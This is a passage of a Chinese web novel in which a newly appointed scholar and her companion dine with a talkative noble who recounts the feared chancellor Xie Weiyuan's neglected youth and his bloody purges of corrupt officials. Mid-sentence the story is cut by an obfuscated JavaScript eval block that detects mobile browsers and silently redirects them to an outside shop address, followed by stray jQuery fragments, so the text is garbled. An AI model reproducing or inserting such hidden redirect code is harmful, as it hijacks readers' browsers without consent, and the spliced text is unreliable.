深夜,望星台内。凌万顷正整理明日进宫的公服,衣物、靴子和公文都已放得整整齐齐,可心中愁绪万千。
谢惟渊那句话,究竟是何意味?
当初的谢惟渊虽然还没有如今的权势,但也是高门望族,新婚当日被云遥抛下,沦为笑柄,保不齐会记恨。再加上利用云遥不成,心爱之人逝去,恨上加恨。所以那句“你还活着”,其实是威胁的意思?
可话又说回来,当年他一个默默无闻的书生,云遥整日对他嘘寒问暖,加上那丫头兴起时情话一箩筐,保不齐那姓谢的已经动了情。而那句“你还活着”,是被重逢的喜悦冲得分不清虚实了。
无论是哪种,凌万顷都不愿接受。白水里掺了粪,无论多少都是脏的,不能喝,不能喝。
凌万顷一脸愁容看向云遥,可她早已沉沉睡去。
床榻上,云遥轻轻睁开眼。糟心,今夜的宴席她一口都没吃上。
晨初,天边泄出的金光洒在湿漉漉的地砖上,一行人排成两列在此侍候,他们便是今日进宫授官的新科进士。
凌万顷赫然在列,脊背挺直,不卑不亢。日头渐渐升起,东华门缓缓打开。
“传——新科进士觐见——”
传胪官唱声贯耳,众人齐齐动身,跟随传胪官鱼贯而入。
高台上帝势威严,文武百官退至两侧,所有的目光皆落在第一甲三位新科进士身上。
凌万顷步伐沉稳,遵循礼制。她向来是一个循规蹈矩之人,普通、沉默、不出彩贯穿了她的一辈子。可也正是那些守规矩、听指挥的事做久了,一旦再想说话时,没人愿意听;再想做一件自己想做的事时,便会被冠上自私的罪名。
“一甲三名,探花凌万顷,授翰林院编修,正七品,即刻入馆当值。”
吏部官员声朗音清,凌万顷双手过头,接过官印。
威严的大殿中,凌万顷露出极淡的笑。幸好,她还有机会。
授官结束,新科进士三三两两出了东华门,凌万顷孑然一人匆匆而去。
“凌弟等等我!”
凌万顷刚回头,贺西笠就迎了上来,与她并肩而行。
“你走这么快作甚,都不等等为兄。”
为兄?凌万顷觉得这人未免有些自来熟了。
“我赶着回去呢。”
贺西笠嗔了她一眼:“忙着回去向弟妹报喜啊?”
凌万顷点点头,还真被他说中了。贺西笠遗憾地摇摇头:“今日本想邀凌弟共饮,一是昨夜还未尽兴,二是向弟妹聊表歉意。”
凌万顷也拱手表示遗憾:“贺公子客气了。”
“行了,你快快回去吧,等日后有空你我再聚。”
凌万顷礼貌道别,转身欲走,却听见贺西笠朝自家侍从道:“今日不巧,白帆楼的酒水退了吧。”
白帆楼?
凌万顷猛地拍了下脑门:“哎哟,贺兄,你瞧我这记性,昨夜云遥曾与我说,贺兄虽是世家子弟,却无恃贵凌贱之心,一视同仁,实乃仁义之士,要我与贺兄多多结交。贺兄既然盛情邀请,我也不便拂你好意。”
贺西笠大喜:“凌弟当真?”
“那是。只不过云遥一人在客舍,我担心她见我久久不归太过担忧,今夜恐难尽兴。”
“害,你既怕弟妹担心,叫上她一同便是,也好有个照应。”
“行,那今夜不醉不归。”
“好,不醉不归。我倒要试试凌弟的酒量有多深。昨夜连番喝下来,竟无一丝醉意。”
凌万顷兴冲冲将此次白吃白喝的计划告诉云遥时,她正在写信。如今她手里虽有了曹家的罪证,可还远远不够。惠娘下落不明,也不知凌霜姐那边进展如何。
晚风拂柳。
白帆双楼高大耸立,连廊半空横穿而过,霞影纱倾泻而下,乐人隐于其间,丝竹声悠扬动听。
云遥一行人落座雅间,窗外美景尽入眼中。不愧是白帆楼,连湖景都能看个全的。
“昨日险些让弟妹身陷囹圄,今日特备此薄酒聊表歉意。”
那事对云遥来说并非什么要紧事,便也没放在心上:“贺公子言重了。”
见云遥并未当回事,贺西笠这才坐定。
“其实贺某也纳闷儿,那谢相平日一副生人勿近的模样,朝中各大宴席也极少露面。当初给他递帖子也是不得不请,本没指望他来,谁知道昨日发的哪门子疯竟然来了,给家父吓得酒杯都没端稳。”
凌万顷看了云遥一眼:“这谢惟渊人缘一般呐。”
贺西笠一听立马否认:“不,是极差。”
凌万顷来了兴致:“哦?有多差?”
云遥转着手里的酒杯,没有插话。
贺西笠起身打开一丝门缝,左右瞧了瞧,确认四周无可疑之人后才颠颠跑回来,压低声音道:“此事且听我细细道来。谢惟渊是威远大将军谢长盛的长子,娘亲是江南富户沈氏,但十年前就病逝了。那谢长盛也不是个东西,原配刚走就急不可耐地找了续弦,而那续弦进门的第一件事,你猜是什么?”
凌万顷侧耳:“是什么?”
“就是把谢惟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775225|208849||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
渊送去淮州,任其自生自灭。那时他才十五岁,正准备科考呢。”
云遥转杯的手一顿。原来他是因为这个才去的淮州。
凌万顷有些惊讶:“那他父亲就这么看着自家儿子被送走?再不济还有他外祖家呢。”
“所以说他那父亲不是人呢。那继室进门没多久就生产了,加上当初娶沈家女儿时是被逼无奈,便将那不满都报复在谢惟渊身上,还瞒着远在江南的沈家。要不是有一回春节时人来探亲,谢惟渊指不定饿死在淮州了呢。”
闻此云遥倒是想起第一次见谢惟渊的时候。少年半个脑袋都没进了水里,无一丝挣扎,她费了好大力气才把他拉起来。那时寒冬腊月,云娘那般节俭的人都给云遥裹上了上好的皮袄,而谢惟渊身上只着一件单衣。
贺西笠的话还在继续。
“后来沈家派人去了淮州将人找到,这才重新考取功名。而他也不负众望,一举夺魁。短短三年就从六品编修到了如今的位置,再加上前几年他舅舅飞云将军战功显赫,他那位入宫的表姐也因他水涨船高,更是诞下皇子一举坐上了皇后之位,各方加持之下,愣是打破了曹相把持多年的朝局。如今的谢家已经是他说了算了。他那位父亲几年前得了瘫症,再难下床。至于那位继母,谢惟渊倒是没怎么为难,让她带着孩子脱离谢家回了娘家。”
凌万顷本以为谢惟渊不会轻易放过那位继母:“他倒也还算仁慈。”说完不忘看了云遥一眼。
一听凌万顷说谢惟渊仁慈,贺西笠差点一口老酒喷出来:“仁慈?你若知道他干了什么就不会这么说了。”
“他干了什么?”这一次问的是云遥。
“自他掌权以来,凡是经他手的贪墨案,不论年限,一经查证,一律惩处。有些贪墨赈灾款的老官员都告老还乡了,还被拖到汴州来砍头。受其赃款之惠的族中后代全部入狱,有官职者尽数革去,无官职者全部流放。礼部、御史台、兵部这些年几乎都换了一批人,上上下下砍下来的人头都快堆成山了。”
“可人家能力在那儿摆着,短时间内就能培养出接手的新人。曹相那帮老臣就是这么一个个被他灭掉的。这些年朝中官员哪个不是战战兢兢、小心翼翼?但凡他嗅到一丝苗头,一抓一个准。有段时间,一些官员见他一个眼神过来,都吓得直直晕过去。”
“而且我还听说,”贺西笠压低了声音,“其实他老爹之所以偏瘫在床,也是他的手笔。因为谢长盛曾派人打探过谢惟渊的心上人。”
云遥闻此,手指微微一蜷,问道:“那他的心上人可还好?”